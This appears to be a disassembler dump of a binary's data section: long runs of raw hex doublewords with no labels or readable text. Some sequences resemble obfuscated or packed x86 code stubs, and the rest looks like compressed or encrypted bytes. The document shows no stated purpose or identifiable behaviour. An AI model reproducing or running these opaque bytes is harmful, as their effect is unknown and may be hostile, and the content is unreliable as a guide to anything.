		dd 0DFF4E294h, 0D3D34AFEh, 10B776E8h, 7D970B56h, 3240Eh
		dd 7CF0C800h, 7D94EBC0h, 85043A1Eh, 80CF2494h, 0DC831074h
		dd 0BA25358Ah, 36F012Fh, 628E6D25h, 6D2502C8h, 0C05E9DBDh
		dd 94B46C9h, 27EF01Ch, 0F136D25h, 98D837F3h, 90E06DBEh
		dd 75E8F463h, 8730802h,	84EC16h, 984B505Dh, 850B1h, 497BE000h
		dd 192F324Dh, 0E8DE829Dh, 0B490D32Ch, 13B1F78h,	1CB97885h
		dd 6B84003Ah, 0BAD5D1F3h, 867A3A5h, 0E8B26E48h,	85BB3543h
		dd 4ACE92DAh, 2B027176h, 62E64901h, 94B5657h
		dd 0DA7EF01Ch, 0F1394EBh, 83C518F3h, 4EF746A5h,	1A3C347Ah
		dd 98123ECDh, 0ED94EBDAh, 0DAB8325Eh, 4DCD94EBh, 950AF831h
		dd 7D96F3D9h, 148Dh, 0E2714900h, 0C08EB2A7h, 94EBC02Eh
		dd 47CE3F23h, 255h, 0C07CF033h,	136394EBh, 5A6371DEh, 2D8ADC83h
		dd 6DE7A22Dh, 30304F4Bh, 3888B516h, 0DD80AC3Bh,	70730803h
		dd 0FF3644EEh, 0FA29505Ch, 7A053h, 0F9CB9000h, 497FE23Dh
		dd 182E324Dh, 0E4C0839Ch, 0B18BCF28h, 0CC490875h, 1B74B08Ah
		dd 6A850143h, 0B8D7D3F5h, 0B8629EB8h, 86EB8593h, 9A9E92DAh
		dd 531271C6h, 0EB6DB475h, 0A1A3FECDh, 71D6D354h, 14121830h
		dd 7982EDFCh, 6744E038h, 575B2F14h, 50FF3B1Dh, 1FC45325h
		dd 0A6CB02B3h, 7EC0AFBCh, 731697ECh, 7D97AEF7h,	7AFh, 0B2752B00h
		dd 6D000001h, 7A4C1271h, 0B6AE8991h, 0F0771990h, 0E394EBC0h
		dd 208BADA4h, 0E7EEF1Eh, 0ACEB76E1h, 771990AAh,	8ADC836Dh
		dd 1137316Ch, 30DD77BAh, 75729C95h, 0CD4DD0D9h,	6B4D0782h
		dd 361050AFh, 880B76D5h, 116C267Bh, 30D25A06h, 0ED09899Ch
		dd 0B6BB0B3Ch, 0BBA21B29h, 0FA997308h, 0C8AB6264h, 46D82C56h
		dd 64B7505Dh, 6C4EDh, 0D5EF6C00h, 0A59BBED9h, 744A0E69h
		dd 0C0E45FB8h, 8DB7ABC4h, 0A835E411h, 0F7108CB6h, 46A15D67h
		dd 94F32F11h, 5C3EFADCh, 860FA1CFh, 0C64292DAh,	0E1C781E2h
		dd 1748470Ah, 0A3A5FC2Dh, 0A1CF5A85h, 94EBC00Fh, 5E2DDC42h
		dd 0CC72560Fh, 0AE2314C1h, 0B37AF993h, 85D2F46Ch, 0E694F06h
		dd 89917A4Ch, 313DA200h, 0D57D96DFh, 7,	0D775F1h, 0F06D0000h
		dd 94EBC07Bh, 70DF1464h, 0DC834A64h, 0B4233F8Ah, 0E67A9FD9h
		dd 0DB770BE0h, 0A8EEBDF0h, 895A845Ch, 0F695BC6Dh, 435C587Eh
		dd 97C42701h, 8F9DCA27h, 7308D6CEh, 3B4BF961h, 0C4505DACh
		dd 60F3C17h, 3A230000h,	0EE75920Eh, 9FC522DEh, 53126DA9h
		dd 0F85EB975h, 0F8BFCAC6h, 0C5C1FB5Fh, 1A96B0AAh, 0A46064FDh
		dd 0F32F094Bh, 74F60229h, 992DA87h, 0C781370Bh,	0BDB70AE1h
		dd 0D514C9Bh, 5F4ED03Bh, 4F87DCCh, 95A3B6AEh, 94EBC01Bh
		dd 5854F06Eh, 96DA2B47h, 7D37Dh, 75FF0000h, 35h, 1A02716Dh
		dd 402D7842h, 86BEC1C8h, 7CF44BA0h, 639C715Ah, 0AC490B9Fh
		dd 183794AEh, 0EB44620Ch, 0EF0B1794h, 0DDC85753h, 7B7BEECFh
		dd 0FA1198AEh, 20h, 280271DCh, 0D7156294h, 0C2829D0Ch
		dd 3B1C7BE4h, 0D7F58801h, 94EB524Ah, 6C42063Fh,	0C2D6D2F4h
		dd 0C6060271h, 3330FD44h, 0EBE88B25h, 0C460FE94h, 9CBABAC5h
		dd 92AE1E4Fh, 0D3A9B40h, 0DF08A44Ch, 0DC26B7B1h, 1B44DA8Ah
		dd 3624D97Ch, 0D41BF00Ch, 0A17B14D5h, 0EF1EBAEDh, 3A46D560h
		dd 6D24C7B0h, 4D5455C5h, 5668EE0Bh, 4D49E575h, 19273232h
		dd 6D24C797h, 0F2D9FF76h, 0D508F6Ch, 9FC09F3Bh,	0B1A209A5h
		dd 95A32C41h, 73138422h, 35401A41h, 760A8527h, 0CA66F867h
		dd 0E26221AEh, 0E00C9BC4h, 67760A4Eh, 30EE1F03h, 0CEE86827h
		dd 0A680C0DFh, 6D7B0645h, 67760AC3h, 0A3CCEDAh,	0C9516776h
		dd 8CBD6CF2h, 9CA8373Ch, 795B2EEDh, 0A4941E00h,	1B568E14h
		dd 4A381C8h, 0CE8F0000h, 7AE13EFAh, 2B314E4Ah, 0C77E9915h
		dd 94CA25E1h, 540B76B2h, 71AD97CBh, 86024416h, 0D0CCF069h
		dd 1F9BBDB7h, 0E882AEBDh, 9D92DA89h, 0E271C3E7h, 0EBC054D6h
		dd 6EF22994h, 53EF7358h, 2B0D475Ah, 25D090EFh, 9514D156h
		dd 83CC6829h, 4C778614h, 9D0C8F21h, 97B1B30Eh, 8C70E534h
		dd 88CB2E26h, 0B757B77Fh, 0F20EC475h, 5CF8CC95h, 0D2333FA0h
		dd 0F2917D97h, 0AC5E6A6Fh, 0A194EB34h, 1FEC1DB9h, 35h
		dd 0D21F6FBBh, 924A7785h, 75E58AC6h, 0BF315FEAh, 0D26D3F71h
		dd 0D7B25D4Ch, 5442BE82h, 6D3F71C4h, 99153335h,	7634D97Eh
		dd 0B2A6DC76h, 91B813AFh, 3E9h,	0D21F6F81h, 0F59A7785h
		dd 0A5B58AC6h, 0D17C0B46h, 3F1529C3h, 14C25C6Dh, 6D3F159Ah
		dd 0FC74A0EFh, 7779E6F2h, 95CFD2DBh, 0B77924B3h, 28EE8B4Ah
		dd 88D7A667h, 0C01FECD6h, 847A49Eh, 3F9072FCh, 8B1B076Dh
		dd 0CADB8E72h, 0EAA94D31h, 0FACE9376h, 4EBEAF5Eh, 13E739F2h
		dd 7C98FD6Bh, 104944D3h, 4A43DF2Ch, 1241CB46h, 5854CA73h
		dd 0C30C61D1h, 6F7C54B5h, 4E77B79h, 4F4CA1B9h, 1653055Ch
		dd 0D9EB73CCh, 87BE6EBDh, 7FB101C3h, 4B06E5DFh,	950DB33Dh
		dd 3C58C679h, 0E82937A0h, 0E767B838h, 62B23C48h, 75B73B8h
		dd 6B50EE3Dh, 821E2034h, 0B4DAA66h, 0C183DE2Dh,	0D2222BE7h
		dd 9326329Dh, 9E6D957Ch, 4910A113h, 3D402F11h, 43EDFB3Dh
		dd 3675C3E7h, 9E1D8C28h, 25385780h, 0E76A0410h,	31F75C3h
		dd 0F85726E7h, 0E7AD5F6Dh, 0BEA075C3h, 0E7B3414Fh, 24275C3h
		dd 0E478C724h, 0EC0509E2h, 0A24D5118h, 0C18901F7h, 8009D018h
		dd 0A0FFA367h, 0B1A986A0h, 0EF7B1E8Fh, 975EBEE8h, 45h
		dd 0D21F6F33h, 0C69BF685h, 6C850B82h, 8F8AC6EAh, 109B5A00h
		dd 9CFB1712h, 152586B8h, 0A2091194h, 3F0E802Eh,	572BCA6Dh
		dd 6BA83F2Bh, 104E777h,	2D680000h, 98123E2Bh, 0ED6D3F02h
		dd 64FAD16Dh, 0BB72560Bh, 0E1C7811Fh, 99A3B70Ah, 0DE801F32h
		dd 0ED093327h, 4563E53Ch, 0CF618F1Ah, 8294EBC0h, 0B39E6D9Ch
		dd 6FBC86D4h, 8DC7DAD3h, 0C0E28C98h, 8B9794EBh,	0F9A4B36Fh
		dd 1E1AC728h, 820EFF11h, 94EB9381h, 827E5818h, 0E6C5E365h
		dd 7FE80575h, 9EAEB5D0h, 5076EE4Dh, 0FC4BE77Bh,	0AE511093h
		dd 22AE5FA5h, 8AC6531Fh, 23CDDB76h, 566D3E6Bh, 0FF719FC8h
		dd 926D3E6Bh, 0B5B4708Ch, 10BF2845h, 0F6D5F375h, 70540F68h
		dd 8A06879Bh, 730CAB98h, 6722ADADh, 5CEEFAF3h, 31674C2Bh
		dd 0F6118D29h, 0EED45E60h, 515058D6h, 1DBCB82h,	6570000h
		dd 0B2A9C6C2h, 63F91692h, 0F46A15Dh, 0CC92ED29h, 0CF33EFAh
		dd 39F5CF93h, 4E4A7CDEh, 98142831h, 27E3C57Fh, 20CAD675h
		dd 5592DA8Bh, 0D981FBDFh, 5B1D78E7h, 1990AE7Dh,	1F0A4AA5h
		dd 0EBC07FF1h, 0F00C1294h, 1F6FA034h, 0EAF685D2h, 94EBC040h
		dd 600A1635h, 1594EBC0h, 0CA8EE905h, 0E1A35F4h,	8AC6EAFBh
		dd 2827849Ah, 0D9D0F46Dh, 3F2929B7h, 0EED2636Dh, 0F5A45D48h
		dd 61C8F09Eh, 0BE4521A8h, 0C3F9776Bh, 0E5000000h, 0AE1C781h
		dd 3299A3B7h, 0EBDB859Eh, 0B0A9E494h, 0EA233F8Ch, 3FFBDD97h
		dd 19F27510h, 91A90242h, 1889675h, 8B6046FEh, 8FC66ADAh
		dd 0A03C42A9h, 77102937h, 0F36F7539h, 0A9C63637h, 0C303123Eh
		dd 0F46A730Dh, 17292C6Bh, 0D43F79B4h, 0ABA92203h, 3AB4C00Fh
		dd 4F674C1Ch, 5837DAD3h, 0F4933C06h, 2E8D5E60h,	35F41036h
		dd 16282E49h, 58E6C0ECh, 75DC0F50h, 0D9h, 0C4C00459h, 1490B4ABh
		dd 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h, 7AE03FFBh
		dd 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0DA8C22CCh, 0F9D15792h
		dd 78E7D981h, 0C02DDFEDh, 3E2094EBh, 0A7DFEB71h, 0BB727BA1h
		dd 8EA8A8C7h, 0C7818E12h, 0BDB70AE1h, 9EEE1F9Bh, 45FA0651h
		dd 748ADC83h, 351DBE9h,	3A246D25h, 0C8C1075Dh, 8BD63525h
		dd 0D0C23CC9h, 12588B80h, 342A69F6h, 68A1B912h,	3D1B5DBAh
		dd 2C2463EEh, 1099A10Ah, 75E61D60h, 0DDA15A3Eh,	0EC9EAA39h
		dd 613215F6h, 77F130F9h, 3A3A5551h, 0F170CF1Ch,	1104F4D7h
		dd 1AFF792Dh, 94AA0147h, 0E163BC78h, 0FF0D98C7h, 3215F64Dh
		dd 1CEF1E00h, 1496A231h
		dd 693215F6h, 0A1D38F1h, 5000000h, 7A4C1271h, 0DE008991h
		dd 0E8DC81FAh, 0A284BC03h, 5B6DF249h, 17312D70h, 0CFF169B4h
		dd 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h,	895208D8h
		dd 4C281E2h, 55000000h,	4BDh, 5DEA2900h, 5C241487h, 78A368h
		dd 240C8900h, 4D8968h, 24148900h, 372ABD55h, 0E98972F2h
		dd 7E1C15Dh, 0AB2DF181h, 8B547F2Ah, 0C4812414h,	4, 7F6068h
		dd 240C8900h, 8B08428Fh, 89502414h, 405E0h, 0C0830000h
		dd 24048704h, 240C8B5Ch, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFFA3168h, 0E3F5151Dh, 0B44B2F21h, 518137E2h
		dd 0D6B81948h, 306314Dh, 76E0FFC5h, 0F5136DBFh,	67F0B2Eh
		dd 0CB101FFEh, 0A27A6940h, 0CD107418h, 6B6BB312h, 4E4D88EBh
		dd 6D736FD4h, 9A39430Eh, 0C268A1FAh, 0B93E1B05h, 63764086h
		dd 971016A7h, 15395515h, 722458Bh, 0FF58835Fh, 1082C11h
		dd 3F40C0D7h, 1557DBA3h, 1F276783h, 157E3647h, 7F39A323h
		dd 7E760527h, 0CF014128h, 8025FD3Ch, 4A708FC6h,	65D14F3h
		dd 525676D1h, 0E95446D9h, 1A8h,	1338693Ah, 1AD52C27h, 46B198D3h
		dd 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h
		dd 0BCD792A5h, 93B9E495h, 9DB2CB00h, 9CACA3F4h,	9EB9FCh
		dd 0AFC945D2h, 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h
		dd 5657F647h, 0CCD4C4h,	8F7DB5F6h, 539549F7h, 0C9BCFA97h
		dd 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0)
		dd 6D849700h, 69F033A2h, 0EEh, 0Ah dup(0)
		dd 0F19E9h, 525A6800h, 68E90631h, 68FFFAFFh, 6315335h
		dd 0FAFF5EE9h, 54EC68FFh, 54E90631h, 68FFFAFFh,	63155DAh
		dd 0FAFF4AE9h, 56B968FFh, 40E90631h, 68FFFAFFh,	63157A0h
		dd 0FAFF36E9h, 585668FFh, 2CE90631h, 68FFFAFFh,	63158B8h
		dd 0FAFF22E9h, 597D68FFh, 18E90631h, 68FFFAFFh,	6315A04h
		dd 0FAFF0EE9h, 5ABF68FFh, 4E90631h, 68FFFAFFh, 6315B64h
		dd 0FAFEFAE9h, 5C4168FFh, 0F0E90631h, 68FFFAFEh, 6315D6Ah
		dd 0FAFEE6E9h, 5E6068FFh, 0DCE90631h, 18FFFAFEh, 7409ED5Ch
		dd 4D20C42Bh, 0A77ABE03h, 0FE9397E0h, 0DAA94DB8h, 0C83D7B01h
		dd 0AD0E5134h, 98EFB449h, 70C18164h, 0F5B9B0BCh, 91EA5E8Ah
		dd 5EC7F497h, 0CF79C497h, 0D82B4A34h, 8D0A7B3Bh, 41A50C54h
		dd 89B02BB2h, 9215EF98h, 580181FDh, 6B9FF539h, 0E66A9DE6h
		dd 6CC20979h, 63BE91F0h, 0C2602AB3h, 3D1A71A6h,	0D0680972h
		dd 42h,	49B6FCEDh, 5491F064h, 9D445E1h,	3FA3E4D8h, 2AEF0766h
		dd 159D1A69h, 9D0E918Ch, 265C066Ch, 1499DE6h, 19A3E896h
		dd 40DF91F0h, 0C55B252h, 0D12462A7h, 0ABD1A026h, 71A678E1h
		dd 0DB3Ch, 7B3B5300h, 0BB808D0Ah, 980E89FEh, 0E3561CF9h
		dd 3BAC41FAh, 0EEEB1D92h, 3F07D897h, 0D09049F6h, 87418EE4h
		dd 145C97DBh, 0D9408C60h, 6F97DBBCh, 475ADE27h,	0CE09B6FFh
		dd 595544D7h, 9DE6AF73h, 45B2E011h, 5891F098h, 33278110h
		dd 0EA104FFh, 58B5931Fh, 489BCEh, 52763C19h, 3039AD10h
		dd 333A8BCBh, 0DD27307Fh, 5C252D97h, 0ABEA2F9Eh, 0E0662E55h
		dd 7DE16568h, 60354CC2h, 4F18D722h, 408AB11Ah, 0CAB6715h
		dd 25610000h, 0F4BD50D4h, 0CC966B8Fh, 0A9E88D61h, 81C7DA5Eh
		dd 3A13F034h, 7FB3064Ch, 9094D79Ah, 0AF43B8FDh,	0C73B8ACAh
		dd 0C30C624Bh, 0DE91EA5Dh, 7D3BD23Dh, 24A81959h, 4D652DC0h
		dd 883EB902h, 20D9E004h, 0D030174Ch, 49B6FC18h,	5497DB6Ch
		dd 0CA1978ECh, 2029C225h, 0E6268072h, 32AD959Dh, 0F0190744h
		dd 0F69C7B91h, 0A6789BEDh, 0B16671h, 3B150000h,	548D0A7Bh
		dd 723CBB0Eh, 97DB34CBh, 0D79D357Dh, 0C97DF562h, 0A1105035h
		dd 0AC1153B8h, 445B9AD5h, 1ECCA2ABh, 7C9DE627h,	0F26DDA9Fh
		dd 104AB5F9h, 0E35791F0h, 93C2267Fh, 6CF3B40Fh,	4E7FE3BAh
		dd 0B6E6515Dh, 77FB91F0h, 34AB482Eh, 13FCB2BBh,	0CE9BCE75h
		dd 0F0B6939Ah, 0C68C6185h, 0D0B5F473h, 0BBA68AB0h, 0BD0CDh
		dd 0F34A0E00h, 0AA195A3Fh, 8CF1B356h, 65CE9568h, 53A6EC81h
		dd 691F34DFh, 475ADE2Bh, 9A7FB3FCh, 0F78A6EDDh,	0A6A246AFh
		dd 5CBCEB87h, 0EEA191EAh, 597D3BBFh, 0C327AB18h, 84E662Eh
		dd 3B0009BDh, 58D0A7Bh,	3B6DBE7Ch, 0D51A5B7Bh, 8730A42Ah
		dd 0BAA31252h, 472B135Dh, 97DB0F18h, 0C8A95D05h, 1D8E11E2h
		dd 314486ECh, 19419DE6h, 1B6C2B10h, 0D48BEA9Ch,	0F00561AAh
		dd 238CD791h, 8CFBB7B4h, 9191F005h, 0C52C74A9h,	0B0623D5Ah
		dd 48F1FA15h, 3CDC94E8h, 0DDB4CDE7h, 36DAACC9h,	0BB8071A7h
		dd 850D8AFBh, 826CFCh, 25030000h, 722029C2h, 9DE63744h
		dd 99131C59h, 408779F9h, 0B12A23DCh, 0F8C31CFBh, 60CED741h
		dd 91F0252Bh, 81EAB857h, 71A688B7h, 0B1FEB4A5h,	0AC91F02Dh
		dd 0D76AFFA9h, 0C97DA59Ah, 4290A8h, 0EFCF0000h,	79186B2Ah
		dd 90D11B82h, 8E32B423h, 0E9A96E9Fh, 0B66B1F98h, 941A85F0h
		dd 591BA10Dh, 0EA5E9DE6h, 3DCE1D6Dh, 397891F0h,	0C58851CEh
		dd 752CFD7Ah, 2EEDFAA1h, 952D1F64h, 78871A6h, 0A7000000h
		dd 80C90h, 0C2253F00h, 0B4722029h, 499DE878h, 73331801h
		dd 26DFEE02h, 1ED77Ah, 1FFC85F8h, 0B671EE57h, 9C8DBC2Fh
		dd 0F78EF7BFh, 0D9BA7C8Bh, 0B0B9A19Bh, 733F0B4Bh, 97DB8504h
		dd 0BCAD5119h, 0BC074E8Bh, 0B4E38F03h, 1A97DB85h, 0DD85EB5Ah
		dd 5313F6C4h, 1483F4B3h, 852C9B17h, 93197DBh, 65661185h
		dd 85F13E74h, 0E78B97DBh, 97DB85B8h, 67EBBDA5h,	0EF80671Eh
		dd 0A6FAB0FEh, 0B3F9DE6h, 0D66207BCh, 3F4D0890h, 0A19h
		dd 0C63A93D7h, 191D6223h, 33F73A04h, 48AC175Eh,	669AEFB5h
		dd 7432488Dh, 4508ED01h, 266306FAh, 0F8B85DD1h,	0F0F97589h
		dd 0EA5B75A2h, 64B76891h, 47B0FEEFh, 5A97DB0Fh,	0E8238F16h
		dd 4097DB08h, 0D7DBC25Dh, 9DE87F29h, 0BE80C34h,	9C121B94h
		dd 9BD9301Ah, 0ED2A5307h, 0C5D85CA5h, 828B347Dh, 8B7FC45h
		dd 0A104FF86h, 80EE1F0Eh, 97DB0E57h, 5D9F064Ah,	0E292558h
		dd 0FF10D1A0h, 8AEB5A1Ah, 0E818D324h, 535A0E9Dh, 327D3122h
		dd 2F91EA27h, 2787F0BEh, 0D69A91EAh, 0FE465322h, 44186B7h
		dd 0A108EEB7h, 2CAB1E64h, 763EDBBAh, 0A7E6900Fh, 0F11EA27h
		dd 0CD198298h, 528E81A3h, 1D06713Dh, 571B11EAh,	0D7BA01AEh
		dd 79EDA82Ah, 0EB8C2270h, 0B1961BD7h, 901681F2h, 0ADC629E1h
		dd 136293D7h, 97228DB5h, 980AC4EDh, 92BAFDDh, 0A5E10000h
		dd 743DD054h, 4C16EB0Fh, 29680DE1h, 1475ADEh, 0BA9370B4h
		dd 0FF3386CCh, 1014571Ah, 2FC3387Dh, 47BB0A4Ah,	438CE2CBh
		dd 5E91EA5Ah, 0C22552BDh, 44722029h, 599DE87Eh,	6323E811h
		dd 3B7B1E12h, 138A4DCAh, 0EBB49198h, 0E971B84h,	312BD1DDh
		dd 3A2E9BD9h, 278ED633h, 1F662EC3h, 8544FDEEh, 85E707DEh
		dd 0E96DDAD6h, 0C87097DBh, 687FB6A9h, 0FA8C6F7h, 729DE898h
		dd 0E569D69Fh, 0B74F17F4h, 199584F1h, 91EAA6AEh, 0E71B8FB3h
		dd 44F34202h, 0EAA6D13Ah, 0F5667991h, 0D764AEC4h, 0C9719BD9h
		dd 0CA3B7BC0h, 0A2135336h, 0D05E02BBh, 0D49BC4AAh, 0D28697DBh
		dd 0AEF01F23h, 465998D7h, 0C8CEA4D5h, 0D59DE8BAh, 0AC33F26Dh
		dd 0FA640A33h, 0E79BD7DFh, 7AD3F473h, 99C48AC5h, 84CEBh
		dd 77C68200h, 2E95DEB3h, 6D37CAh, 0F94A09ECh, 0D7226005h
		dd 0ED9BB053h, 3BDE52A7h, 1EF33778h, 6B0EE259h,	2A26DA2Bh
		dd 59206F03h, 623D91EAh, 0A7B3B33h, 0A50C548Dh,	0A51257B4h
		dd 72EDB43Ah, 6C683A15h, 0ED5A5824h, 0F097DB0Fh, 70D5C448h
		dd 0D159C631h, 0E78EAC0h, 0EB6B7B63h, 7, 4769080h, 0EF3F0000h
		dd 0F47B0FEh, 165A97DBh, 5F0DA28Fh, 0C8A6D748h,	9DE65AF6h
		dd 2E1FA7ABh, 3C06713Dh, 571B91F0h, 0CA05E04Eh,	5255A6ECh
		dd 0ACC2D0D9h, 5148C6C1h, 4C7D6EE9h, 0D0F6F926h, 8A4B0B44h
		dd 6513E2FFh, 5F562F13h, 0C8A6D748h, 4EE1E2B8h,	0C3F4E56Dh
		dd 3C723E06h, 42FEE5F3h, 49F67AEEh, 9BDBB0C1h, 9EE6232Ah
		dd 5F26A857h, 0F2BE869Bh, 0FEE573BCh, 76FA6E42h, 0D0B5E0F9h
		dd 1864D35Fh, 765h, 8A6EDF9Bh, 0AD41AEF7h, 0C73B86C8h
		dd 1C106322h, 2ACE3B79h, 0C0868459h, 91DCB175h,	7237CA2Eh
		dd 440CE105h, 3C0D39FDh, 0EA580976h, 287B1491h,	8D0A7B3Bh
		dd 47BB0E54h, 87B629BCh, 0E87ECBEBh, 0CA0FBE9Dh, 34C388Bh
		dd 0AD91EA40h, 62E493E8h, 0B9A0541Ch, 49AD145Ch, 1A85ECB4h
		dd 222BC4DBh, 10333EB9h, 0FC851204h, 0EC35A7CBh, 26579BD9h
		dd 0DBD21F48h, 475E0297h, 5F7079E1h, 6025B7FAh,	76F867EBh
		dd 4437ECFh, 6A0B047Eh,	6D9CE5ADh, 88CFE9A8h, 9A0E803Fh
		dd 1A5A3FFBh, 863F2CABh, 0B5478DC1h, 24F18073h,	4F5CEB5Eh
		dd 408AABBBh, 6AF6715h,	296D0000h, 0F8B95CD0h, 0D092778Bh
		dd 0ADF4896Dh, 85C3A65Ah, 3E17FC30h, 7BBF0A48h,	9C90DBA6h
		dd 0AB4FBCF9h, 0C3278ED6h, 0DF086647h, 0C291EA57h, 2AEFDEC9h
		dd 0E9611E6Dh, 910A9D88h, 7E900A68h, 0AD959DE8h, 0AE175FBCh
		dd 86EFB74Ah, 54C7DE19h, 61974925h, 0C68A9BD7h,	0C51D8469h
		dd 0BCC8778Ah, 64Dh, 0B276C783h, 0D52996DFh, 0EF036E30h
		dd 4F84B0Ah, 52D62361h,	0A8EE9CB1h, 79C4D95Dh, 5A1FF236h
		dd 2C7409EDh, 42521C5h,	0EA57216Eh, 30633C91h, 8D0A7B3Bh
		dd 3AA50C54h, 0AC2BA0E5h, 58C7286Bh, 6625F1AEh,	62563C1Bh
		dd 2CC08222h, 0F86C1067h, 5F3C0E04h, 11996B7Bh,	0B6000000h
		dd 47B0FEEFh, 5A97DB0Fh, 71218F16h, 0EE000002h,	8D0A7B3Bh
		dd 0D1D8534Ah, 0BDC42B74h, 7F74660Ch, 0C9719DE8h, 0A1105035h
		dd 8ED03536h, 0FF455223h, 1A8D768Ah, 0C11A9881h, 849BD92Eh
		dd 10EA5559h, 43F797DBh, 2969AEDFh, 14124D8h, 94D207B0h
		dd 687FB621h, 72A8C6F7h, 779DE63Dh, 0D08B64C3h,	0D18C90D5h
		dd 588A3h, 8B024600h, 62D19277h, 44A9EB8Eh, 3D86CDA0h
		dd 0EB5E24F9h, 0A1E77C17h, 0FF9296E3h, 0D2B74BB4h, 2FC22695h
		dd 6E1A1E67h, 56E4535Fh, 26F991EAh, 77B3BF7h, 7E32A5A0h
		dd 0C98A4FCCh, 9049F67Ah, 47330D0h, 7532179Bh, 0AE6B9206h
		dd 6CE29DE8h, 0C0855A15h, 490BCC4Bh, 2EED7BE4h,	0C02F7064h
		dd 0BC66415Ch, 7589F8B8h, 7BF58DFFh, 7686Bh, 90070000h
		dd 128h, 0A7B3B3Fh, 0AACC4CBDh,	64104F8Ah, 501h, 0EE027B3Fh
		dd 1E54A0Bh, 5BDF226Ch,	70B4FF46h, 8E62D79Dh, 5C1A60E5h
		dd 2D7015E9h, 0E4B2EC2h, 0E0A045B9h, 0D8919D91h, 0EA556DDAh
		dd 8C9F7091h, 8D0A7B3Bh, 8BFCBB80h, 0FD479A0Ch,	6C34E1B0h
		dd 0F37A2108h, 0EA9E7AAFh, 98EFB46Dh, 0E7D3A1Fh, 7BC41991h
		dd 13EE8B34h, 5E394403h, 0B10040B4h, 8F85F77Dh,	0D506B7Bh
		dd 0F000000h, 0A790h, 0A1903F00h, 3F000000h, 0DD6476EFh
		dd 1B0FF40h, 48296D62h,	0A8D14A5Dh, 0BFE886B7h,	0A297DB41h
		dd 619BE7BEh, 649DE831h, 8D4A43FCh, 12672DC5h, 1879ED65h
		dd 0F8E17A6Dh, 0D73230BAh, 62CD759Bh, 8AC4CF9Dh, 46D5A39Eh
		dd 84000004h, 0D0B549C0h, 29CC208Fh, 3E61A67h, 5A3FF344h
		dd 0BE55A91Ch, 54A1E7A5h, 9723DD0h, 0E45310F5h,	0DC256D00h
		dd 911D2C58h, 91EA5526h, 2531603Bh, 722029C2h, 9DE67EF8h
		dd 4784B5BDh, 307CB0FDh, 91F041DAh, 59DD246Ch, 0C4337F90h
		dd 0D991F041h, 490B0091h, 0EA0D7BE4h, 0C2000003h, 5819FEEFh
		dd 0F509FEBh, 54D97DBh,	8D1E817Ch, 7FE4169Ch, 79E19DE8h
		dd 7BCC8B70h, 2F434AFCh, 91EA5FE0h, 352C75FDh, 4970EBF2h
		dd 0D77C8725h, 0A73CA59Bh, 0CEEB9D06h, 0B9A1079Eh, 0C5A0D30Eh
		dd 0EB99C48Ah, 3A1h, 4EA21B5Fh,	6185EAABh, 0BB7FC28Ch
		dd 0D0549FE6h, 0EE02773Dh, 0FCBAC005h, 0CD907589h, 0AEEB8E62h
		dd 80C0A559h, 7871FD31h, 0EA54CD3Ah, 0EC3FD091h, 2029C225h
		dd 0E878B472h, 0ACE92E9Dh, 73E2465Fh, 9B34B08Eh, 610D3CAFh
		dd 91EAB336h, 8AB3272Bh, 78BC054Dh, 0EB94DDA5h,	333AB528h
		dd 0B3236C02h, 0A3E91EAh, 0EB347A6Bh, 369BD9C2h, 743E1B02h
		dd 0F9FA4304h, 53C780F4h, 2C1B442Ah, 520697DBh,	0FD458243h
		dd 0D59D70B4h, 2C5A85E9h, 0ADF497DBh, 4355DD5Ah, 0A5626B1Fh
		dd 5483EFDFh, 4997DB2Ch, 6CE29D01h, 2625A0F5h, 79185573h
		dd 7980FC6h, 0D6E3116h,	29961Ch, 0C3497DBh, 86437475h
		dd 46C877BEh, 0C671C683h, 3FCD3140h, 0FA9DE623h, 0DF26F976h
		dd 2A2990D5h, 2C45Eh, 0CF3E7A00h, 0A60D562Bh, 98E5AF42h
		dd 71C28164h, 2F9AD8BDh, 652338CBh, 0B356AA1Fh,	966B8FF0h
		dd 0E3867AD1h, 52DE52A3h, 53A8179Bh, 0DAB591EAh, 0A7B3BCBh
		dd 0A50C548Dh, 0B02BB241h, 9AFE589h, 165A9DE6h,	0EB21969h
		dd 53CE91F0h, 60503A43h, 3CAD71A6h, 0C2000000h,	2029C225h
		dd 0E6268072h, 0B7FC959Dh, 7CC58D40h, 5CDB4FC3h, 0F019F952h
		dd 9C868591h, 2CCA8F4Ch, 0F16E1265h, 2A1C1879h,	5071A679h
		dd 1504733Fh, 511991F0h, 0D63840h, 3B570000h, 0B4E38F7Bh
		dd 4697DB0Fh, 0A97A36C6h, 440C92D2h, 0EA30A9D0h, 4576D2C8h
		dd 0ED38E17h, 9D42FD48h, 0F9F461D5h, 7B88A29Ah,	0EC90DBA6h
		dd 79A6CCFDh, 6497DB13h, 1599E2ADh, 0CEB8F66Ch,	8D140E37h
		dd 0FC450DD2h, 0F94808CDh, 0CDA9C87Eh, 0DBA19881h, 1F662E97h
		dd 0F73E061Bh, 85168948h, 0D5441E94h, 89B19DE6h, 84178E75h
		dd 6A961995h, 0E76B9BCEh, 51894DF6h, 5202383Dh,	643DA114h
		dd 0C4E0A663h, 90D0357Ch, 0A479BD21h, 15DC6BDEh, 68AB136h
		dd 19B2D5Bh, 15510000h,	0E4AD40A4h, 0BC869B9Fh,	99D8BD71h
		dd 7137CA2Eh, 0CA03E004h, 6F83F6BCh, 8064C78Ah,	0DF53A8EDh
		dd 0F70B7A3Ah, 0F33C727Bh, 0EE91EA52h, 7D3BE22Dh, 0C5F408h
		dd 0E8ADF443h, 76A559A8h, 2029C225h, 0E6268072h, 64A0959Dh
		dd 0C64FE839h, 0EC958408h, 29805EBCh, 85F2B730h, 0A1D18011h
		dd 91F0746Ah, 422BFB16h, 71A6DDF8h, 0CDC5h, 7B3B7A00h
		dd 0E548D0Ah, 0CA0F3CBBh, 0B2F42888h, 0CCDD4BC8h, 44F53958h
		dd 0F297DBEAh, 1EAF43B2h, 910E7B39h, 0D3937819h, 0AB32F562h
		dd 0F8900930h, 0E4639CBCh, 66C5D24h, 9DE6C44Ch,	0C83979DEh
		dd 6EBADB4Fh, 6A7D06FAh, 65D29774h, 0CF3874FAh,	0D291F0BBh
		dd 0BFF3FA6Eh, 9BCE78E9h, 67CE9673h, 88BCA1Eh, 1CBABABEh
